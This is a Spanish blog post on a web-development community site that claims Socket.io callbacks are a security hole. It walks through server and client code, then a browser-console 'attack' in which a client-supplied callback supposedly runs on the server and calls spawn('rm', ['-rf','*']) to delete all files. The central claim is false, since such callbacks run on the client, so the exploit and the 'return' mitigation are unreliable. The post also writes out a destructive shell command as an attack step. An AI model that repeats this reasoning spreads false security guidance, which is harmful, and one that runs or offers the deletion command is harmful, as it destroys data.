Comunidad de diseño web y desarrollo en internet online

El peligro de seguridad de los callbacks en Socket.io

Socket.IOes un framework entre cliente y servidor . Se usan diferentes metodologías para que el cliente se conecte con el servidor. Entre ellas están:

  • flash
  • websocket
  • jsonrcp
  • post


Aunque todas estas son bastante buenas, qué mejor que tenerlas reunidas en una sola. Se usa de una manera simple, con NodeJs e iniciando un simple archivo escrito en JS. Para ver como cómo funciona se los mostraré.

En Servidor:

Código :

var io = require('socket.io').listen(80);
io.sockets.on('connection', function (socket) { 
  //Cuando se conecte el Cliente
  socket.emit('news', { hello: 'world' }); 
  // Envie un evento con X o Y variable
  socket.on('my other event', function (data) { 
   // Regresa un evento con X o Y variable
    console.log(data);
  });
})

Y en cliente:

Código :

<script src="/socket.io/socket.io.js"></script>
<script>
  var socket = io.connect('http://localhost'); 
  //Se conecta
  socket.on('news', function (data) { 
   // Cuando el servidor envie X evento con Y variable
    console.log(data);
    socket.emit('my other event', { my: 'data' }); 
   // Emita X en otro evento
  });
</script>


Es básicamente como una conversación.

Callbacks


En teoría es un retorno de un llamado, en este caso es un retorno de X o Y función. Un ejemplo en JS sería:

Código :

function MiPrimerCallback( x, y ){
  console.log(x);
  x += " Ya estamos en el callback";
  return y(x);
  // No existe necesidad de colocar "return"
}
MiPrimerCallback( "Hola Mundo", function(x){
  console.log(x);
} )

Nos saldría algo así

Código :

"Hola mundo"
"Hola mundo Ya estamos en el callback"


Esto sirve para generar una sincronía en las funciones de JS, en este caso. Lo que pasa con JS es que NodeJS va lanzado una serie de funciones sin importar si ha o no ha terminado. Eso puede ser difícil de manejar si no sabemos cómo construir Callbacks.

Cómo utilizar Callbacks en SocketIO


SocketIO está escrito en JS, y por su misma metodología se pueden enviar callbacks, variables y/o funciones. Sería algo así:

En el servidor:

Código :

var io = require('socket.io').listen(80);
io.sockets.on('connection', function (socket) { 
  socket.emit('news', { hello: 'world' }); 
  socket.on('my other event', function (data, callback) { 
    console.log(data);
    return callback("Hola, mundo"); 
    // Devolviendo la llamada con un String
  });
})

En el Cliente:

Código :

<script src="/socket.io/socket.io.js"></script>
<script>
  var socket = io.connect('http://localhost');
  socket.on('news', function (data) { 
    console.log(data);
    socket.emit('my other event', { my: 'data' }, function(data){ 
      // Regresa la funcion
       console.log( data ); 
     // Nos saldra en la consola de nuestro navegador "Hola Mundo"
    }); 
  });
</script>

Así podemos hacer que haga determinadas funciones el servidor y no el cliente. Y podemos generar "conversación", entre servidor-cliente.

Por qué puede ser peligroso?


Bueno... Aquí viene la parte dura! Voy a responder esa pregunta con un ejemplo. Para que todos entendamos que puede pasar. :)
Generamos un servidor

Código :

var io = require('socket.io').listen(80);
io.sockets.on('connection', function (socket) { 
  socket.emit('news', { hello: 'world' }); 
  socket.on('my other event', function (data, callback) { 
    console.log(data);
    callback("Hola, mundo"); // No le colocaremos el "Return"
  });
})

Y en el cliente

Código :

<script src="/socket.io/socket.io.js"></script>
<script>
  var socket = io.connect('http://localhost');
  socket.on('news', function (data) { 
    console.log(data);
    socket.emit('my other event', { my: 'data' }, function(data){ 
       console.log( data ); // Esto se vera en la consola del Servidor
    }); 
  });
</script>

A mí me gusta llevar las cosas al extremo! Para ello, con FireBug, podremos capturar el Evento y haremos lo que queremos con el servidor siendo nosotros Clientes. Entonces, lo primero que vamos hacer es tapar el script en HTML, cosa que no voy a decir cómo hacerlo. Siguiente a eso con la consola en Javascript, vamos a ejecutar esto.

Código :

var io = io.connect('http://localhost'); //Nos conectamos al servidor
io.on( "imprimir", console.log ); 
// Esto nos va hacer que imprimamos en nuestra consola
function ImprimirEnConsola ( s, x ) { 
// Esta funcion va hacer ejecutada por el servidor
  s.emit( "imprimir", x  );
};
io.emit('my other event', { my: 'data' }, function(data){ 
  console.log(data); //Imprime en el servidor
  ImprimirEnConsola ( socket, socket ); 
  //En este caso la conecion con el servidor se llama "socket" y la veremos en nuestra consola
});

Ya con esto podemos estar viendo qué sucede en el servidor sin necesidad de utilizar la fuerza y con un error de programación, supremamente fácil de cometer. Pero seamos mas ambiciosos...

Código :

io.emit('my other event', { my: 'data' }, function(data){ 
 var spawn = require('child_process').spawn; // Construimos otro proceso!!
 spawn('rm', [  '-rf', '*' ]); 
});

En este caso se está utilizando Linux, como servidor el comando que se ejecutó es de eliminar todos los archivos.

Consejos para evitar lo anterior


  • Cuando se use Callbacks, recuerden colocar el 'return'.
  • Evitar el uso del servidor para acciones simples.
  • Recuerden que su servidor puede ser atacado.
  • Tiene mayor vulnerabilidad sistemas como Meteor o Derby.
  • Diferenciar bastante bien que se esta ejecutando en el Servidor y en Cliente.
  • Si van usar este ejemplo(s) y ejecutarlo tengan mucho cuidado.


Me desligo de cualquier uso de este texto, solo tiene fines educativos!

¿Sabes SQL? ¿No-SQL? Aprende MySQL, PostgreSQL, MongoDB, Redis y más con el Curso Profesional de Bases de Datos que empieza el martes, en vivo.

Publica tu comentario

El autor de este artículo ha cerrado los comentarios. Si tienes preguntas o comentarios, puedes hacerlos en el foro

Entra al foro y participa en la discusión

o puedes...

¿Estás registrado en Cristalab y quieres
publicar tu URL y avatar?

¿No estás registrado aún pero quieres hacerlo antes de publicar tu comentario?

Registrate